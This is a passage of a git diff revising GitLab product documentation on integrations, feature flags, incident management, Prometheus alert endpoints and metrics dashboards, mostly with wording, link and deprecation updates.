documentation](https://docs.sourcegraph.com/integration/browser_extension#privacy) which is the +From the Sourcegraph [extension documentation](https://docs.sourcegraph.com/integration/browser_extension#privacy) which is the engine behind the native GitLab integration: > Sourcegraph integrations never send any logs, pings, usage statistics, or telemetry to Sourcegraph.com. diff --git a/doc/integration/trello_power_up.md b/doc/integration/trello_power_up.md index df3755dbf31..9cca8e5485d 100644 --- a/doc/integration/trello_power_up.md +++ b/doc/integration/trello_power_up.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Trello Power-Up **(FREE)** +# Trello Power-Ups **(FREE)** You can use the Trello Power-Up for GitLab to attach GitLab merge requests to Trello cards. diff --git a/doc/integration/twitter.md b/doc/integration/twitter.md index 90fb63ff40a..f1bfc5a3662 100644 --- a/doc/integration/twitter.md +++ b/doc/integration/twitter.md @@ -62,7 +62,9 @@ Twitter. Twitter generates a client ID and secret key for you to use. sudo -u git -H editor config/gitlab.yml ``` -1. See [Configure initial settings](omniauth.md#configure-initial-settings) for initial settings. +1. Edit the [common configuration file settings](omniauth.md#configure-common-settings) + to add `twitter` as a single sign-on provider. This enables Just-In-Time + account provisioning for users who do not have an existing GitLab account. 1. Add the provider configuration. diff --git a/doc/integration/vault.md b/doc/integration/vault.md index ddb21e68bf8..78456596723 100644 --- a/doc/integration/vault.md +++ b/doc/integration/vault.md @@ -26,7 +26,7 @@ GitLab by using our OpenID authentication feature. First you must create a GitLab application to obtain an application ID and secret for authenticating into Vault. To do this, sign in to GitLab and follow these steps: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Applications**. 1. Fill out the application **Name** and [**Redirect URI**](https://developer.hashicorp.com/vault/docs/auth/jwt#redirect-uris). diff --git a/doc/operations/error_tracking.md b/doc/operations/error_tracking.md index d0a208c995b..0be2f087c62 100644 --- a/doc/operations/error_tracking.md +++ b/doc/operations/error_tracking.md @@ -6,7 +6,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Error Tracking **(FREE)** -Error Tracking allows developers to easily discover and view the errors that their application may be generating. By surfacing error information where the code is being developed, efficiency and awareness can be increased. +> [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/389991) in GitLab 15.9. + +WARNING: +This feature is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/389991) +for use in GitLab 15.9, and is planned for removal in GitLab 16.0. We are replacing this feature with functionality in the [GitLab Observability UI](https://gitlab.com/gitlab-org/opstrace/opstrace-ui). Please also reference our direction for [Observability](https://about.gitlab.com/direction/monitor/observability/) and [data visualization](https://about.gitlab.com/direction/monitor/observability/data-visualization/). + +Error Tracking allows developers to discover and view errors generated by their application. Because error information is surfaced where the code is being developed, efficiency and awareness are increased. ## How error tracking works @@ -146,7 +152,7 @@ settings. By using a GitLab-provided DSN, your application connects to GitLab to Those errors are stored in the GitLab database and rendered by the GitLab UI, in the same way as Sentry integration. -In GitLab 15.6 and later, the integrated error tracking +In GitLab 15.6 and later, the integrated error tracking uses a new backend based on the ClickHouse database that enables better scalability. Integrated error tracking remains limited in comparison to the Sentry backend, as only a small subset of the Sentry API is implemented. diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md index b6e200c3ec4..68fc0fb9499 100644 --- a/doc/operations/feature_flags.md +++ b/doc/operations/feature_flags.md @@ -75,7 +75,7 @@ You can apply a feature flag strategy across multiple environments, without defi the strategy multiple times. GitLab feature flags use [Unleash](https://docs.getunleash.io/) as the feature flag -engine. In Unleash, there are [strategies](https://docs.getunleash.io/user_guide/activation_strategy) +engine. In Unleash, there are [strategies](https://docs.getunleash.io/reference/activation-strategies) for granular feature flag controls. GitLab feature flags can have multiple strategies, and the supported strategies are: @@ -90,7 +90,7 @@ and selecting **Edit** (**{pencil}**). ### All users -Enables the feature for all users. It uses the Standard (`default`) Unleash activation [strategy](https://docs.getunleash.io/user_guide/activation_strategy#standard). +Enables the feature for all users. It uses the Standard (`default`) Unleash activation [strategy](https://docs.getunleash.io/reference/activation-strategies#standard). ### Percent Rollout @@ -98,7 +98,7 @@ Enables the feature for all users. It uses the Standard (`default`) Unleash acti Enables the feature for a percentage of page views, with configurable consistency of behavior. This consistency is also known as stickiness. It uses the -Gradual Rollout (`flexibleRollout`) Unleash activation [strategy](https://docs.getunleash.io/user_guide/activation_strategy#gradual-rollout). +Gradual Rollout (`flexibleRollout`) Unleash activation [strategy](https://docs.getunleash.io/reference/activation-strategies#gradual-rollout). You can configure the consistency to be based on: @@ -126,7 +126,7 @@ Selecting **Random** provides inconsistent application behavior for individual u ### Percent of Users Enables the feature for a percentage of authenticated users. It uses the Unleash activation strategy -[`gradualRolloutUserId`](https://docs.getunleash.io/user_guide/activation_strategy#gradual-rollout). +[`gradualRolloutUserId`](https://docs.getunleash.io/reference/activation-strategies#gradual-rollout). For example, set a value of 15% to enable the feature for 15% of authenticated users. @@ -135,7 +135,7 @@ The rollout percentage can be from 0% to 100%. Stickiness (consistent application behavior for the same user) is guaranteed for authenticated users, but not anonymous users. -Note that [percent rollout](#percent-rollout) with a consistency based on **User IDs** has the same +[Percent rollout](#percent-rollout) with a consistency based on **User IDs** has the same behavior. We recommend using percent rollout because it's more flexible than percent of users WARNING: @@ -148,11 +148,11 @@ ID for the feature to be enabled. See the [Ruby example](#ruby-application-examp > - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/34363) to be defined per environment in GitLab 12.6. Enables the feature for a list of target users. It is implemented -using the Unleash UserIDs (`userWithId`) activation [strategy](https://docs.getunleash.io/user_guide/activation_strategy#userids). +using the Unleash UserIDs (`userWithId`) activation [strategy](https://docs.getunleash.io/reference/activation-strategies#userids). Enter user IDs as a comma-separated list of values (for example, -`user@example.com, user2@example.com`, or `username1,username2,username3`, and so on). Note that -user IDs are identifiers for your application users. They do not need to be GitLab users. +`user@example.com, user2@example.com`, or `username1,username2,username3`, and so on). +User IDs are identifiers for your application users. They do not need to be GitLab users. WARNING: The Unleash client **must** be given a user ID for the feature to be enabled for @@ -163,7 +163,7 @@ target users. See the [Ruby example](#ruby-application-example) below. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35930) in GitLab 13.1. Enables the feature for lists of users created [in the feature flags UI](#create-a-user-list), or with the [feature flag user list API](../api/feature_flag_user_lists.md). -Similar to [User IDs](#user-ids), it uses the Unleash UsersIDs (`userWithId`) activation [strategy](https://docs.getunleash.io/user_guide/activation_strategy#userids). +Similar to [User IDs](#user-ids), it uses the Unleash UsersIDs (`userWithId`) activation [strategy](https://docs.getunleash.io/reference/activation-strategies#userids). It's not possible to *disable* a feature for members of a user list, but you can achieve the same effect by enabling a feature for a user list that doesn't contain the excluded users. @@ -276,7 +276,7 @@ To get the access credentials that your application needs to communicate with Gi For example, if the application runs for a production server, the **Application name** could be `production` or similar. This value is used for the environment spec evaluation. -Note that the meaning of these fields might change over time. For example, we're not sure if +The meaning of these fields might change over time. For example, we're not sure if **Instance ID** is a single token or multiple tokens, assigned to the **Environment**. Also, **Application name** could describe the application version instead of the running environment. @@ -372,7 +372,7 @@ end ### Unleash Proxy example -As of [Unleash Proxy](https://docs.getunleash.io/sdks/unleash-proxy) version +As of [Unleash Proxy](https://docs.getunleash.io/reference/unleash-proxy) version 0.2, the proxy is compatible with feature flags. To run a Docker container to connect to your project's feature flags, run the following command: @@ -389,7 +389,7 @@ docker run \ | Variable | Value | | --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ | -| `UNLEASH_PROXY_SECRETS` | Shared secret used to configure an [Unleash Proxy client](https://docs.getunleash.io/sdks/unleash-proxy#how-to-connect-to-the-proxy). | +| `UNLEASH_PROXY_SECRETS` | Shared secret used to configure an [Unleash Proxy client](https://docs.getunleash.io/reference/unleash-proxy#how-to-connect-to-the-proxy). | | `UNLEASH_URL` | Your project's API URL. For more details, read [Get access credentials](#get-access-credentials). | | `UNLEASH_INSTANCE_ID` | Your project's Instance ID. For more details, read [Get access credentials](#get-access-credentials). | | `UNLEASH_APP_NAME` | The name of the environment the application runs in. For more details, read [Get access credentials](#get-access-credentials). | @@ -416,7 +416,7 @@ In general, GitLab feature flags can be used in any applications, however, if it's a large application, it could require an additional configuration in advance. This section explains the performance factors to help your organization to identify what's needed to be done before using the feature. -Please read [How it works](#how-it-works) section before diving into the details. +Read [How it works](#how-it-works) section before diving into the details. ### Maximum supported clients in application nodes @@ -444,7 +444,7 @@ a fall-back mechanism when the server returns an error code. For example, `unleash-ruby-client` reads flag data from the local backup so that application can keep running in the current state. -Please reads the documentation in a SDK project for more information. +Read the documentation in a SDK project for more information. ### Self-managed GitLab @@ -453,5 +453,5 @@ Functionality-wise, there are no differences. Both SaaS and self-managed behave In terms of scalability, it's up to the spec of the GitLab instance. For example, GitLab.com runs on HA architecture so that it can handle a lot of requests concurrently, however, a self-managed instance runs on a low spec machine can't expect the same result. -Please see [Reference architectures](../administration/reference_architectures/index.md) +See [Reference architectures](../administration/reference_architectures/index.md) for more information. diff --git a/doc/operations/img/copy-group-id.png b/doc/operations/img/copy-group-id.png Binary files differnew file mode 100644 index 00000000000..7837f49c3e3 --- /dev/null +++ b/doc/operations/img/copy-group-id.png diff --git a/doc/operations/img/create-gitlab-application.png b/doc/operations/img/create-gitlab-application.png Binary files differnew file mode 100644 index 00000000000..430b830cdb2 --- /dev/null +++ b/doc/operations/img/create-gitlab-application.png diff --git a/doc/operations/img/listing_groups.png b/doc/operations/img/listing_groups.png Binary files differnew file mode 100644 index 00000000000..1094bf4ff28 --- /dev/null +++ b/doc/operations/img/listing_groups.png diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md index d42ee237749..6d6fde45de7 100644 --- a/doc/operations/incident_management/alerts.md +++ b/doc/operations/incident_management/alerts.md @@ -35,7 +35,7 @@ The alert list displays the following information: - **Triggered**: Investigation has not started. - **Acknowledged**: Someone is actively investigating the problem. - **Resolved**: No further work is required. - - **Ignored**: No action will be taken on the alert. + - **Ignored**: No action is taken on the alert. ## Alert severity diff --git a/doc/operations/incident_management/incident_timeline_events.md b/doc/operations/incident_management/incident_timeline_events.md index 4af5a815929..e79f36884cb 100644 --- a/doc/operations/incident_management/incident_timeline_events.md +++ b/doc/operations/incident_management/incident_timeline_events.md @@ -107,3 +107,31 @@ Alternatively: 1. On the right of a timeline event, select **More actions** (**{ellipsis_v}**) and then select **Edit**. 1. Select **Delete**. 1. To confirm, select **Delete event**. + +## Incident tags + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/8741) in GitLab 15.9 [with a flag](../../administration/feature_flags.md) named `incident_event_tags`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../administration/feature_flags.md) named `incident_event_tags`. +On GitLab.com, this feature is not available. +This feature is not ready for production use. + +[When creating an event using the form](#using-the-form) or editing it, +you can specify incident tags to capture relevant incident timestamps. +Timeline tags are optional. You can choose more than one tag per event. +When you create a timeline event and select the tags, the event note +is populated with a default message. +This allows for a quick event creation. If a note has already been set, it isn't changed. +Added tags are displayed next to the timestamp. + +## Formatting rules + +Incident timeline events support the following [GitLab Flavored Markdown](../../user/markdown.md) features. + +- [Code](../../user/markdown.md#code-spans-and-blocks). +- [Emojis](../../user/markdown.md#emojis). +- [Emphasis](../../user/markdown.md#emphasis). +- [GitLab-specific references](../../user/markdown.md#gitlab-specific-references). +- [Images](../../user/markdown.md#images), rendered as a link to the uploaded image. +- [Links](../../user/markdown.md#links). diff --git a/doc/operations/incident_management/incidents.md b/doc/operations/incident_management/incidents.md index 5cfb8a77fc9..45f1e10d2f1 100644 --- a/doc/operations/incident_management/incidents.md +++ b/doc/operations/incident_management/incidents.md @@ -43,7 +43,7 @@ When you [view the incidents list](manage_incidents.md#view-incidents-list), it  -For an example of the incident list in action, visit this +For an example of the incident list in action, see this [demo project](https://gitlab.com/gitlab-org/monitor/monitor-sandbox/-/incidents). ### Sort the incident list diff --git a/doc/operations/incident_management/integrations.md b/doc/operations/incident_management/integrations.md index fdcfbe0cb2c..41fbe8fe83c 100644 --- a/doc/operations/incident_management/integrations.md +++ b/doc/operations/incident_management/integrations.md @@ -9,8 +9,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13203) in GitLab 12.4. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) from GitLab Ultimate to GitLab Free in 12.8. -GitLab can accept alerts from any source via a webhook receiver. This can be configured -generically. +GitLab can accept alerts from any source via a webhook receiver. [Alert notifications](alerts.md) +can [trigger paging](paging.md#paging) for on-call rotations or be used to [create incidents](manage_incidents.md#from-an-alert). ## Integrations list @@ -89,7 +89,7 @@ GitLab fields when you [create an HTTP endpoint](#http-endpoints): ## Customize the alert payload outside of GitLab For HTTP Endpoints without [custom mappings](#map-fields-in-custom-alerts), you can customize the payload by sending the following -parameters. All fields are optional. If the incoming alert does not contain a value for the `Title` field, a default value of `New: Alert` will be applied. +parameters. All fields are optional. If the incoming alert does not contain a value for the `Title` field, a default value of `New: Alert` is applied. | Property | Type | Description | | ------------------------- | --------------- | ----------- | @@ -138,6 +138,175 @@ Example payload: } ``` +### Prometheus endpoint + +Prerequisites: + +- You must have at least the Maintainer role for the project. + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > Monitor**. +1. Expand the **Alerts** section, and select **Add new integration**. +1. From the **Select integration type** dropdown list, select **Prometheus**. +1. Turn on the **Active** toggle. +1. Enter the **Prometheus API base URL**. + You should enter a placeholder URL. The features which use this field are [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/346541) and [scheduled for removal](https://gitlab.com/gitlab-org/gitlab/-/issues/379252) in GitLab 16.0. +1. Select **Save integration**. + +The URL and authorization key for the webhook configuration +are available in the **View credentials** tab. + +Enter the URL and authorization key in your external service. +You can also send a test alert from your integration's +[**Send test alert**](#triggering-test-alerts) tab. + +#### Add integration credentials to Prometheus Alertmanager + +To send Prometheus alert notifications to GitLab, copy the URL and authorization key from +your [Prometheus integration](#prometheus-endpoint) into the +[`webhook_configs`](https://prometheus.io/docs/alerting/latest/configuration/#webhook_config) +section of the Prometheus Alertmanager configuration: + +```yaml +receivers: + - name: gitlab + webhook_configs: + - http_config: + authorization: + type: Bearer + credentials: 1234567890abdcdefg + send_resolved: true + url: http://IP_ADDRESS:PORT/root/manual_prometheus/prometheus/alerts/notify.json + # Rest of configuration omitted + # ... +``` + +#### Expected request attributes + +Alerts are expected to be formatted for a Prometheus [webhook receiver](https://prometheus.io/docs/alerting/latest/configuration/#webhook_config). + +Top-level required attributes: + +- `alerts` +- `commonAnnotations` +- `commonLabels` +- `externalURL` +- `groupKey` +- `groupLabels` +- `receiver` +- `status` +- `version` + +From `alerts` in the Prometheus payload, a GitLab alert is created for each item in the array. +You can alter the nested parameters listed below to configure the GitLab alert. + +| Attribute | Type | Required | Description | +| -------------------------------------------------------------------------- | -------- | -------- | ------------------------------------ | +| One of `annotations/title`, `annotations/summary`, or `labels/alertname` | String | Yes | The title of the alert. | +| `startsAt` | DateTime | Yes | The start time of the alert. | +| `annotations/description` | String | No | A high-level summary of the problem. | +| `annotations/gitlab_incident_markdown` | String | No | [GitLab Flavored Markdown](../../user/markdown.md) to be appended to any incident created from the alert. | +| `annotations/runbook` | String | No | Link to documentation or instructions for how to manage this alert. | +| `endsAt` | DateTime | No | The resolution time of the alert. | +| `g0.expr` query parameter in `generatorUrl` | String | No | Query of associated metric. | +| `labels/gitlab_environment_name` | String | No | The name of the associated GitLab [environment](../../ci/environments/index.md). Required to [display alerts on a dashboard](../../user/operations_dashboard/index.md#adding-a-project-to-the-dashboard). | +| `labels/severity` | String | No | Severity of the alert. Should be one of the [Prometheus severity options](#prometheus-severity-options). Defaults to `critical` if missing or value is not in this list. | +| `status` | String | No | Status of the alert in Prometheus. If value is 'resolved', the alert is resolved. | +| One of `annotations/gitlab_y_label`, `annotations/title`, `annotations/summary`, or `labels/alertname` | String | No | The Y-Axis label to be used when embedding the metrics for this alert in [GitLab Flavored Markdown](../../user/markdown.md). | + +Additional attributes included under `annotations` are available on +the [alert details page](alerts.md#alert-details-page). Any other attributes are ignored. + +Attributes aren't limited to primitive types (such as strings or numbers), but +can be a nested JSON object. For example: + +```json +{ + "target": { + "user": { + "id": 42 + } + } +} +``` + +NOTE: +Ensure your requests are smaller than the +[payload application limits](../../administration/instance_limits.md#generic-alert-json-payloads). + +#### Prometheus severity options + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50871) in GitLab 13.9 + +Alerts from Prometheus can provide any of the case-insensitive follow values for [alert severity](../incident_management/alerts.md#alert-severity): + +- **Critical**: `critical`, `s1`, `p1`, `emergency`, `fatal` +- **High**: `high`, `s2`, `p2`, `major`, `page` +- **Medium**: `medium`, `s3`, `p3`, `error`, `alert` +- **Low**: `low`, `s4`, `p4`, `warn`, `warning` +- **Info**: `info`, `s5`, `p5`, `debug`, `information`, `notice` + +The severity defaults to `critical` if the value is missing or not in this list. + +#### Example Prometheus alert + +Example alerting rule: + +```yaml +groups: +- name: example + rules: + - alert: ServiceDown + expr: up == 0 + for: 5m + labels: + severity: high + annotations: + title: "Example title" + runbook: "http://example.com/my-alert-runbook" + description: "Service has been down for more than 5 minutes." + gitlab_y_label: "y-axis label" + foo: + bar: + baz: 42 +``` + +Example request payload: + +```json +{ + "version" : "4", + "groupKey": null, + "status": "firing", + "receiver": "", + "groupLabels": {}, + "commonLabels": {}, + "commonAnnotations": {}, + "externalURL": "", + "alerts": [{ + "startsAt": "2022-010-30T11:22:40Z", + "generatorURL": "http://host?g0.expr=up", + "endsAt": null, + "status": "firing", + "labels": { + "gitlab_environment_name": "production", + "severity": "high" + }, + "annotations": { + "title": "Example title", + "runbook": "http://example.com/my-alert-runbook", + "description": "Service has been down for more than 5 minutes.", + "gitlab_y_label": "y-axis label", + "foo": { + "bar": { + "baz": 42 + } + } + } + }] +} +``` + ## Authorization The following authorization methods are accepted: @@ -244,7 +413,7 @@ If the existing alert is already `resolved`, GitLab creates a new alert instead. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13402) in GitLab 13.4. -The alert in GitLab will be automatically resolved when an HTTP Endpoint +The alert in GitLab is automatically resolved when an HTTP Endpoint receives a payload with the end time of the alert set. For HTTP Endpoints without [custom mappings](#map-fields-in-custom-alerts), the expected field is `end_time`. With custom mappings, you can select the expected field. diff --git a/doc/operations/incident_management/linked_resources.md b/doc/operations/incident_management/linked_resources.md index 96edd41c12f..642a6972bcf 100644 --- a/doc/operations/incident_management/linked_resources.md +++ b/doc/operations/incident_management/linked_resources.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230852) in GitLab 15.3 [with a flag](../../administration/feature_flags.md) named `incident_resource_links_widget`. Disabled by default. > - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/364755) in GitLab 15.3. -> - [Generally available](ihttps://gitlab.com/gitlab-org/gitlab/-/issues/364755) in GitLab 15.5. Feature flag `incident_resource_links_widget` removed. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/364755) in GitLab 15.5. Feature flag `incident_resource_links_widget` removed. To help your team members find the important links without having to search through many comments, you can add linked resources to an incident issue. diff --git a/doc/operations/incident_management/manage_incidents.md b/doc/operations/incident_management/manage_incidents.md index 75826c2c55e..ad4de8641e5 100644 --- a/doc/operations/incident_management/manage_incidents.md +++ b/doc/operations/incident_management/manage_incidents.md @@ -220,7 +220,7 @@ Prerequisites: - You must have at least the Reporter role for the project. -To close an incident, in the top right, select **Close incident**. +To close an incident, in the upper right, select **Close incident**. When you close an incident that is linked to an [alert](alerts.md), the linked alert's status changes to **Resolved**. diff --git a/doc/operations/incident_management/slack.md b/doc/operations/incident_management/slack.md index 0e7a85142f6..434c481900c 100644 --- a/doc/operations/incident_management/slack.md +++ b/doc/operations/incident_management/slack.md @@ -41,7 +41,7 @@ Prerequisites: To start the authorization flow, try executing a non-incident [Slack slash command](../../integration/slash_commands.md), like `/gitlab <project-alias> issue show <id>`. The `<project-alias>` you select must be a project that has the GitLab for Slack app set up. - For more context, visit [issue 377548](https://gitlab.com/gitlab-org/gitlab/-/issues/377548). + For more information, see [issue 377548](https://gitlab.com/gitlab-org/gitlab/-/issues/377548). <!-- The below content is commented out until these features are implemented in https://gitlab.com/groups/gitlab-org/-/epics/8545 --> <!-- diff --git a/doc/operations/metrics/dashboards/default.md b/doc/operations/metrics/dashboards/default.md index 7a68e8bf3b3..e22b1096023 100644 --- a/doc/operations/metrics/dashboards/default.md +++ b/doc/operations/metrics/dashboards/default.md @@ -40,4 +40,4 @@ This dashboard displays CPU, memory, network and disk metrics for the pods in yo [variable selector](templating_variables.md#metric_label_values-variable-type) at the top of the dashboard to select which pod's metrics to display. - + diff --git a/doc/operations/metrics/dashboards/develop.md b/doc/operations/metrics/dashboards/develop.md index da5a26fbffd..fe14ec1dc3d 100644 --- a/doc/operations/metrics/dashboards/develop.md +++ b/doc/operations/metrics/dashboards/develop.md @@ -18,19 +18,19 @@ commented-out examples you can use. ## Apply a dashboard template -Navigate to the browser-based editor of your choice: +Go to the browser-based editor of your choice: - In the **Repository view**: - 1. Navigate to **{doc-text}** **Repository > Files**. - 1. Select **{plus}** **Add to tree** and select **New file**, + 1. Go to **Repository > Files**. + 1. Select **Add to tree** and select **New file**, then select **Select a template type** to see a list of available templates:  - In the **[Web IDE](../../../user/project/web_ide/index.md)**: 1. Select **Web IDE** when viewing your repository. - 1. Select **{doc-new}** **New file**, then select **Choose a template** to see a list of available templates: + 1. Select **New file**, then select **Choose a template** to see a list of available templates:  ## Custom dashboard templates **(PREMIUM SELF)** diff --git a/doc/operations/metrics/dashboards/index.md b/doc/operations/metrics/dashboards/index.md index aef9bcb4b22..09bb8cedbf6 100644 --- a/doc/operations/metrics/dashboards/index.md +++ b/doc/operations/metrics/dashboards/index.md @@ -33,7 +33,7 @@ To create a new dashboard from the GitLab user interface: 1. Sign in to GitLab as a user with Maintainer or Owner [permissions](../../../user/permissions.md#project-members-permissions). 1. Navigate to your dashboard at **Monitor > Metrics**. -1. In the top-right corner of your dashboard, select the **{ellipsis_v}** **More actions** menu, +1. In the upper-right corner of your dashboard, select the **{ellipsis_v}** **More actions** menu, and select **Create new**:  1. In the modal window, select **Open Repository**, then follow the instructions @@ -190,7 +190,7 @@ Related links can contain the following attributes: - `title`: A phrase describing the link. Optional. If this attribute is not set, the full URL is used for the link title. - `type`: A string declaring the type of link. Optional. If set to `grafana`, the - dashboard's time range values are converted to Grafana's time range format and + dashboard's time range values are converted to the Grafana time range format and appended to the `url`. The dashboard's time range is appended to the `url` as URL parameters. diff --git a/doc/operations/metrics/dashboards/settings.md b/doc/operations/metrics/dashboards/settings.md index 3fae4af9cd5..5fb0476e164 100644 --- a/doc/operations/metrics/dashboards/settings.md +++ b/doc/operations/metrics/dashboards/settings.md @@ -51,7 +51,7 @@ existing external dashboards: 1. Select **Save changes**. -GitLab displays a **View full dashboard** button in the top right corner of your +GitLab displays a **View full dashboard** button in the upper-right corner of your [monitoring dashboard](../../../ci/environments/index.md#monitor-environments) which opens the URL you provided: diff --git a/doc/operations/metrics/dashboards/yaml.md b/doc/operations/metrics/dashboards/yaml.md index 68eddc6f087..7b0a91dd18a 100644 --- a/doc/operations/metrics/dashboards/yaml.md +++ b/doc/operations/metrics/dashboards/yaml.md @@ -149,8 +149,8 @@ This works by converting the value of `label` to lower-case and, if there are mo To confirm your dashboard definition contains valid YAML syntax: -1. Navigate to **{doc-text}** **Repository > Files**. -1. Navigate to your dashboard file in your repository. +1. Go to **Repository > Files**. +1. Go to your dashboard file in your repository. 1. Review the information pane about the file, displayed above the file contents. Files with valid syntax display **Metrics Dashboard YAML definition is valid**, diff --git a/doc/operations/metrics/dashboards/yaml_number_format.md b/doc/operations/metrics/dashboards/yaml_number_format.md index cd597ea8783..99e6be96a3c 100644 --- a/doc/operations/metrics/dashboards/yaml_number_format.md +++ b/doc/operations/metrics/dashboards/yaml_number_format.md @@ -113,12 +113,12 @@ Formats supported: `milliseconds`, `seconds` | Format | Data | Displayed | | -------------- | ------ | --------- | -| `milliseconds` | `10` | 10ms | -| `milliseconds` | `500` | 100ms | -| `milliseconds` | `1000` | 1000ms | -| `seconds` | `10` | 10s | -| `seconds` | `500` | 500s | -| `seconds` | `1000` | 1000s | +| `milliseconds` | `10` | 10 ms | +| `milliseconds` | `500` | 100 ms | +| `milliseconds` | `1000` | 1000 ms | +| `seconds` | `10` | 10 s | +| `seconds` | `500` | 500 s | +| `seconds` | `1000` | 1000 s | ## Digital (Metric) @@ -138,15 +138,15 @@ Formats supported: | Format | Data | Displayed | | -------------- | --------- | --------- | -| `decimalBytes` | `1` | 1B | -| `decimalBytes` | `1000` | 1kB | -| `decimalBytes` | `1000000` | 1MB | -| `kilobytes` | `1` | 1kB | -| `kilobytes` | `1000` | 1MB | -| `kilobytes` | `1000000` | 1GB | -| `megabytes` | `1` | 1MB | -| `megabytes` | `1000` | 1GB | -| `megabytes` | `1000000` | 1TB | +| `decimalBytes` | `1` | 1 B | +| `decimalBytes` | `1000` | 1 kB | +| `decimalBytes` | `1000000` | 1 MB | +| `kilobytes` | `1` | 1 kB | +| `kilobytes` | `1000` | 1 MB | +| `kilobytes` | `1000000` | 1 GB | +| `megabytes` | `1` | 1 MB | +| `megabytes` | `1000` | 1 GB | +| `megabytes` | `1000000` | 1 TB | ## Digital (IEC) @@ -166,12 +166,12 @@ Formats supported: | Format | Data | Displayed | | ----------- | ------------- | --------- | -| `bytes` | `1` | 1B | -| `bytes` | `1024` | 1KiB | -| `bytes` | `1024 * 1024` | 1MiB | -| `kibibytes` | `1` | 1KiB | -| `kibibytes` | `1024` | 1MiB | -| `kibibytes` | `1024 * 1024` | 1GiB | -| `mebibytes` | `1` | 1MiB | -| `mebibytes` | `1024` | 1GiB | -| `mebibytes` | `1024 * 1024` | 1TiB | +| `bytes` | `1` | 1 B | +| `bytes` | `1024` | 1 KiB | +| `bytes` | `1024 * 1024` | 1 MiB | +| `kibibytes` | `1` | 1 KiB | +| `kibibytes` | `1024` | 1 MiB | +| `kibibytes` | `1024 * 1024` | 1 GiB | +| `mebibytes` | `1` | 1 MiB | +| `mebibytes` | `1024` | 1 GiB | +| `mebibytes` | `1024 * 1024` | 1 TiB | diff --git a/doc/operations/metrics/embed_grafana.md b/doc/operations/metrics/embed_grafana.md index 15969f0d6be..7bc88165b95 100644 --- a/doc/operations/metrics/embed_grafana.md +++ b/doc/operations/metrics/embed_grafana.md @@ -3,8 +3,13 @@ stage: Monitor group: Respond info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- +<!--- start_remove The following content will be removed on remove_date: '2023-08-22' --> +# Embed Grafana panels in Markdown (deprecated) **(FREE)** -# Embed Grafana panels in Markdown **(FREE)** +WARNING: +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110290) in GitLab 15.9 +and is planned for removal in 16.0. We intend to replace this feature with the ability to [embed charts](https://gitlab.com/groups/gitlab-org/opstrace/-/epics/33) with the [GitLab Observability UI](https://gitlab.com/gitlab-org/opstrace/opstrace-ui). +This change is a breaking change. Grafana panels can be embedded in [GitLab Flavored Markdown](../../user/markdown.md). You can embed Grafana panels using either: @@ -72,7 +77,7 @@ To generate a link to a panel: If you select the dashboard's share button instead, GitLab attempts to embed the first supported panel on the dashboard (if available). -1. If your Prometheus queries use Grafana's custom template variables, ensure the +1. If your Prometheus queries use the Grafana custom template variables, ensure the **Template variables** option is set to on. Only the Grafana global template variables `$__interval`, `$__from`, and `$__to` are supported. 1. Set the **Current time range** option to on, to specify the time range of the panel. Otherwise, @@ -83,3 +88,4 @@ To generate a link to a panel: See the following example of a rendered panel.  +<!--- end_remove --> diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md index 0ecb63807fb..11350d65237 100644 --- a/doc/operations/metrics/index.md +++ b/doc/operations/metrics/index.md @@ -25,7 +25,7 @@ critical. For GitLab to display your information in charts, you must: Use applications like Elasticsearch, Prometheus, and Jaeger to gather the data you've exposed. 1. **GitLab collects metrics** - GitLab uses Prometheus to scrape the data you've - captured in your applications, and prepares the data for display. To learn more, read + captured in your applications, and prepares the data for display. For more information, see [Collect and process metrics](#collect-and-process-metrics). 1. **Display charts in the GitLab user interface** - GitLab converts your metrics into easy-to-read charts on a default dashboard. You can create as many custom charts @@ -54,9 +54,9 @@ GitLab attempts to retrieve performance metrics for any [environment](../../ci/e a successful deployment. GitLab scans the Prometheus server for metrics from known servers like Kubernetes -and NGINX, and attempts to identify individual environments. To learn more about -the supported metrics and scan processes, see the -[Prometheus Metrics Library documentation](../../user/project/integrations/prometheus_library/index.md). +and NGINX, and attempts to identify individual environments. For more information about +the supported metrics and scan processes, see +[Prometheus Metrics library](../../user/project/integrations/prometheus_library/index.md). To view the [default metrics dashboard](dashboards/default.md) for an environment that is [configured to gather metrics](#configure-prometheus-to-gather-metrics): diff --git a/doc/operations/quickstart-guide.md b/doc/operations/quickstart-guide.md new file mode 100644 index 00000000000..91c5f25405c --- /dev/null +++ b/doc/operations/quickstart-guide.md @@ -0,0 +1,229 @@ +--- +stage: Monitor +group: Observability +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# GitLab Observability Quickstart + +You can try GitLab Observability by [cloning or forking the 